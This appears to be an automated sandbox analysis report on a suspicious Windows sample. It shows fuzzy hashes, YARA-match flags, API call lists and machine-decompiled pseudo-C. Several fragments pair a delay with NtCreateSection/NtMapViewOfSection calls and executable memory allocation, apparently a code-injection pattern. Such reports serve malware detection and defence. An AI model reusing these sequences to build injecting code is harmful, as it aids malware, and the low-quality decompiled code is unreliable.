Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction ID: 2a8389aefedc19a0c504b98736b9e0000cd3886a04144bd02a53e168a9e3d464
Opcode Fuzzy Hash: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction Fuzzy Hash: 7001A2B5208204F7EB006A949C61EBF3628AB01761F204037FA17B90F1D57C8A13E72F

Uniqueness

Uniqueness Score: -1.00%

Function 008DCB8A Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008DCBDB

Memory Dump Source

Source File: 00000000.00000002.357053208.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, Offset: 008D8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d8000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 9c7310af03804474f8dc5342ee460f49e9e3c3710aead1d61743e0a6dafc5040
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 0C113F79A00208EFDB01DF98C985E98BBF5EF08350F158095F9489B362D771EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00401920 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401920(void* __eax, void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t13;
				void* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t27;

				_t32 = __eflags;
				_t24 = __edi;
				asm("in eax, dx");
				_push(0x5a);
				L00401271(0x194a, __ebx, __edi, __eflags);
				_t19 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t19); // executed
				_t13 = E0040149E(_t23, _t32); // executed
				_t33 = _t13;
				if(_t13 != 0) {
					E0040156B(_t23, _t33, __fp0, _t19, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t19(0xffffffff, 0);
				_t15 = 0x194a;
				_push(0x5a);
				return L00401271(_t15, _t19, _t24, _t33);
			}

0x00401920
0x00401920
0x00401922
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction ID: 224bb2ef0974229b5a5fdcef52df60c5cd3bf8ec0745870aca08fc2285a6eed9
Opcode Fuzzy Hash: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction Fuzzy Hash: 6EF086B5204105FBDB009B949C61EBA77259F05361F204437F617B90F1C53C8513E62B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192A Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E0040192A(void* __edi, void* __eflags, void* __fp0) {
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				_push(0x5a);
				L00401271(0x194a, 0xcd, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

0x0040192a
0x0040192a
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction ID: 9248d4b3e658d46e670c13ad7b2d26eba18d2d49d4b0dc53c33eada2e420f8d1
Opcode Fuzzy Hash: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction Fuzzy Hash: 1DF06DB6208104EBDB00AA949C61EBA3625AB05361F204437BA17B90F1C53C8612EA2B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192E Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E0040192E(void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				asm("out dx, al");
				_push(0x5a);
				L00401271(_t8, __ebx, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

0x0040192e
0x0040192e
0x0040192e
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction ID: e24f51b341499e2e26426f908677bffa000874d55709296b6d837b784a8f1a12
Opcode Fuzzy Hash: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction Fuzzy Hash: 35F044B6204105F7DB00AF949C61EBA76259F05761F204577BA17B90F1C53D8512EB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401931 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction ID: 67248cb6658f2556eaba37909da5001fde87a2f9067ac25d4feca41700aa7417
Opcode Fuzzy Hash: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction Fuzzy Hash: 44F0A476204205EBDB00AFA49C51DBE7725AF04754F200577BA12B90F1CA788512EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041251C Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00412553
___getlocaleinfo.LIBCMT ref: 00412568
___getlocaleinfo.LIBCMT ref: 0041257D
___getlocaleinfo.LIBCMT ref: 00412592
___getlocaleinfo.LIBCMT ref: 004125AA
___getlocaleinfo.LIBCMT ref: 004125BF
___getlocaleinfo.LIBCMT ref: 004125D1
___getlocaleinfo.LIBCMT ref: 004125E6
___getlocaleinfo.LIBCMT ref: 004125FE
___getlocaleinfo.LIBCMT ref: 00412613

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 67d2691e74c5941d2eb3c1619365f0b8b77928823da057a98be69eddb7686c32
Instruction ID: 3f8edc000173f4f52ed9c9d301a84f9c6a526a69cedc3883542c951c28ca7b9c
Opcode Fuzzy Hash: 67d2691e74c5941d2eb3c1619365f0b8b77928823da057a98be69eddb7686c32
Instruction Fuzzy Hash: 59E1DEB290060DBEFB11DAF18D45EFF7BBEEB0878CF10051AB215D2041EAB4AA559764

Uniqueness

Uniqueness Score: -1.00%

Function 0070092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 007009DC, 007009DF, 007009E4
l, xrefs: 00700966
., xrefs: 0070095F

Memory Dump Source

Source File: 00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_700000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: b191a1097d474a83367248c2b9c822c83515a3dcd5259a6ee529bdb81389497e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: F0318AB6910609DFDB10CF99C884BAEBBF9FF08324F24414AD841A7351D775EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00414A9C Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 330e40898d62f64cba883e0aee5b013e8f38141b2f15d0afe4324d5e89c77f1c
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: CDD18E73C0EAB34A8735852D40686BBEA626FD174131FC7E29CD43F389D62A9D8096D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041467C Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 6d03d441822f5cb94ea7d3de0eddf993dcc5044d77878cf101488db4e33e2faa
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: E6D1BF73C1AAB34A8735852D40682BBEB626FD174531FC7E2CCE43F389D62A5D8096D4

Uniqueness

Uniqueness Score: -1.00%

Function 00414270 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: b1eeb2a80a753087ebd7dc2990d9ce4edbcdf7359d1870e3f023e4dec5f82338
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 56C1A173C0AAB34A8736852D40682ABEF626FD175531FC7E2DCD43F389C62A5D8096D4

Uniqueness

Uniqueness Score: -1.00%

Function 00413E9C Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 4a97518c6200aa1f93d2107b732b0e8c20f99812bf7afd2f30f88d767f518033
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 24C1B273D0E6B34A8735892D40582ABEF626FD174131FC7E29CD42F389D62B5E8182D4

Uniqueness

Uniqueness Score: -1.00%

Function 004022E9 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a919c6ea075fa5d9a8d473dbebb46695ca301d37d5c36d754ea3f07e477586
Instruction ID: 9159483499d8b09f199b7d713bebd4ac5d145b6a74f4a616217e6d8c88d5b54e
Opcode Fuzzy Hash: f8a919c6ea075fa5d9a8d473dbebb46695ca301d37d5c36d754ea3f07e477586
Instruction Fuzzy Hash: 1E816936418782CAC7369B34D5911D2FFF1BF8A704B4849ADC5D786882E338B267C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00402219 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aea6d2f1c1b98ad06cbdec59f2325e2c5333d6c8fa13b16d40c970ed3e6b7d5d
Instruction ID: 3bcd0e2288eda4060afe81734e62d0be7380ac6ae20b88ca300affe1451fe799
Opcode Fuzzy Hash: aea6d2f1c1b98ad06cbdec59f2325e2c5333d6c8fa13b16d40c970ed3e6b7d5d
Instruction Fuzzy Hash: FC11A63240420ADFCB00EB81E98A9D6B370FB95748B1009BDEA126B0D5F2717227D75B

Uniqueness

Uniqueness Score: -1.00%

Function 0040221B Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c49fa6d280e3267fd4df12e03e6d43de081cd2d69c6290cc715faeafd1b4a7a
Instruction ID: 80374ff71acb4e40a99ba9fdabce2cbcc8f730c7eeba908dfc5354750a062123
Opcode Fuzzy Hash: 5c49fa6d280e3267fd4df12e03e6d43de081cd2d69c6290cc715faeafd1b4a7a
Instruction Fuzzy Hash: 2C11F93240420ADFCB00FF81E98A8D6B370FB96748B1009BCEA122B0C6F2706226C357

Uniqueness

Uniqueness Score: -1.00%

Function 008DC7A8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.357053208.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, Offset: 008D8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d8000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a98676e494e749e046eb49233def2e7b2e3ba7a8a40d9dd69796a6fbedfc0c58
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: C4117C72340106AFD744DE59DCC1EA673EAFB98320B298166E904CB316E775E802CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00402241 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ee28eb25af3a23bc7bae32041a3823241c2669144bb8117cec100e4cba8df15
Instruction ID: 0b30bc7017b0a7d68a1e04374eae7e5ef415df0775d2272070ddb73ea2bddc06
Opcode Fuzzy Hash: 8ee28eb25af3a23bc7bae32041a3823241c2669144bb8117cec100e4cba8df15
Instruction Fuzzy Hash: 4511EB3790020ACFCB15FF41E4CA8C5B372FB8A348B040AACDE125B095F3316226C756

Uniqueness

Uniqueness Score: -1.00%

Function 0040224D Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3830038f128970d9f29de35507e5eb5d34c1af6015ca2dbf72337fda079964f
Instruction ID: 06435867d3c439af725eba92724c2eb6d34bb3774f051ce35eb0f5e7c3b98355
Opcode Fuzzy Hash: d3830038f128970d9f29de35507e5eb5d34c1af6015ca2dbf72337fda079964f
Instruction Fuzzy Hash: D511887790020ACFCB15EF41E4C65D5B371FB9A348B140AACDE125B095F3316226D756

Uniqueness

Uniqueness Score: -1.00%

Function 00402251 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 738638b488f9a4c012ccbe76e1d266a201faaea941e68a25858ff1fdfcccf258
Instruction ID: 947e0effc2f4e57c8cb4d65273482cb1c2685da776775f1305328036b4f14a7b
Opcode Fuzzy Hash: 738638b488f9a4c012ccbe76e1d266a201faaea941e68a25858ff1fdfcccf258
Instruction Fuzzy Hash: B101667790020ACFCB15EF42E4C54D9B772FB8A3487040AACDA125B416F3316226C755

Uniqueness

Uniqueness Score: -1.00%

Function 00700D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_700000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: d711aeb3441189b51fc6b698b07a5e2285a8451c8e4702e3bd61251f80834f7d
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: D201A776700604DFDF21DF64C804BAA33E5FB85325F4545A5D506D72C2E778A9418BD0

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD63 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040DD80
__lock.LIBCMT ref: 0040DDDB
__lock.LIBCMT ref: 0040DDFC
___addlocaleref.LIBCMT ref: 0040DE1A

Strings

00@, xrefs: 0040DD8C
t)@, xrefs: 0040DD6F

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID: 00@$t)@
API String ID: 1628550938-666108758
Opcode ID: e0fea13ed6a56d5f602e00bc93a232e6cc9ecea66366008e6c9641cac17fb027
Instruction ID: 63d7a70014a364fd6082a2f5c89cb8c001aa75b35c3c569952648a9c1bd2e5bd
Opcode Fuzzy Hash: e0fea13ed6a56d5f602e00bc93a232e6cc9ecea66366008e6c9641cac17fb027
Instruction Fuzzy Hash: 2611B4719007019ED720AF76D905B5ABBE0AF14318F10893FE499B76E1CBB8A944CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C595 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040C5BB

Part of subcall function 0040C3E0: __fltout2.LIBCMT ref: 0040C40C

__cftog_l.LIBCMT ref: 0040C5E1
__cftoe_l.LIBCMT ref: 0040C613

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 3b7e747039cbb1ae13e555a0fc8221623f09327259d9c6029ffb2d351d491bf4
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 1111873604014AFBCF165F84CC81CEE3F22BB18355B598526FE18651B1D33BD971AB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2A3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040D2D5

Part of subcall function 0040DEC3: __getptd_noexit.LIBCMT ref: 0040DEC6
Part of subcall function 0040DEC3: __amsg_exit.LIBCMT ref: 0040DED3

__getptd.LIBCMT ref: 0040D2E3
__getptd.LIBCMT ref: 0040D2F1
__getptd.LIBCMT ref: 0040D2FC

Part of subcall function 0040D3C9: __getptd.LIBCMT ref: 0040D3D8
Part of subcall function 0040D3C9: __getptd.LIBCMT ref: 0040D3E6

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID:
API String ID: 803148776-0
Opcode ID: b06664f882c7183e6b6a9852754296a0b52de975ce6c542e71eed0e2f07f3430
Instruction ID: 9f69efa408be42ccc54f9932eb94afd4ccd190b3d47cac561d38d4755d3e0804
Opcode Fuzzy Hash: b06664f882c7183e6b6a9852754296a0b52de975ce6c542e71eed0e2f07f3430
Instruction Fuzzy Hash: 6E11F671C10209DFDB00EFA5C545BAD7BB0FF04319F10886EF854AB291DB789A159F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A78C Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040A798

Part of subcall function 0040DEC3: __getptd_noexit.LIBCMT ref: 0040DEC6
Part of subcall function 0040DEC3: __amsg_exit.LIBCMT ref: 0040DED3

__getptd.LIBCMT ref: 0040A7AF
__amsg_exit.LIBCMT ref: 0040A7BD
__lock.LIBCMT ref: 0040A7CD

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: d6762cd734ba615a2977fd6406bfc9b0e2aa10a7c42178ad2dc168d0ea95c3f9
Instruction ID: 5e000ac94786c625dd24f0a7ab5579ffd50ca622fe1f640271b818e4df0e6031
Opcode Fuzzy Hash: d6762cd734ba615a2977fd6406bfc9b0e2aa10a7c42178ad2dc168d0ea95c3f9
Instruction Fuzzy Hash: CAF09632D107009AD720BB668402B4972B06F50715F10C53FA4407B2D2CB7C9956CB9F

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040D3D8

Part of subcall function 0040DEC3: __getptd_noexit.LIBCMT ref: 0040DEC6
Part of subcall function 0040DEC3: __amsg_exit.LIBCMT ref: 0040DED3

__getptd.LIBCMT ref: 0040D3E6

Strings

csm, xrefs: 0040D3F4

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: bb4f35616a7895f188feabe247e526bf50877b373a52a4e2ee41216f4dc901dc
Instruction ID: 0dc1902a325e6e8383fd655c7f88e18603ed4258a609b8a914deeaadb4daddff
Opcode Fuzzy Hash: bb4f35616a7895f188feabe247e526bf50877b373a52a4e2ee41216f4dc901dc
Instruction Fuzzy Hash: 6D014F35C022058BCF349FA5C44066EB3B5AF14311F94893FF0807ABE1CB78A989CB59

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: uucbfdtPID: 5820, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	3.7%
Signature Coverage:	0%
Total number of Nodes:	1351
Total number of Limit Nodes:	21

Executed Functions

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 193
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

